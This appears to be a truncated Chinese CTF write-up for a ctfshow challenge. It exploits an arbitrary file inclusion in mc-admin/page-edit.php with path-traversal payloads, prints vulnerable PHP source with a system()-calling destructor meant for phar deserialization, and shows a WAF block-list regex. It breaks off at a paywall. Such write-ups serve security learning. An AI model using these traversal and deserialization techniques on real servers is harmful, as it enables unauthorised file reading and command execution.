代码审计在mc-admin/page-edit.php中存在任意文件包含漏洞

盲猜file=../../../../../../../flag去读flag得到提示地址

访问ctfshowsecretfilehh得到源码如下
<?php
highlight_file(__FILE__);
error_reporting(0);
include('waf.php');
class Ctfshow{
public $ctfer = 'shower';
public function __destruct(){
system('cp /hint* /var/www/html/hint.txt');
}
}
$filename = $_GET['file'];
readgzfile(waf($filename));
?>
我们可以先利用page-edit.php去读下waf.php
file=../../../../../../var/www/html/ctfshowsecretfilehh/waf.php
<?php
function waf($file){
if (preg_match("/^phar|smtp|dict|zip|compress|file|etc|root|filter|php|flag|ctf|hint|\.\.\//i",$file))

本文揭露了MC-admin/page-edit.php中的任意文件包含漏洞,并通过构造phar进行反序列化获取flag。详细讲述了漏洞利用路径、waf过滤规则突破及多线程获取flag的过程。
最低0.47元/天 解锁文章

被折叠的 条评论
为什么被折叠?



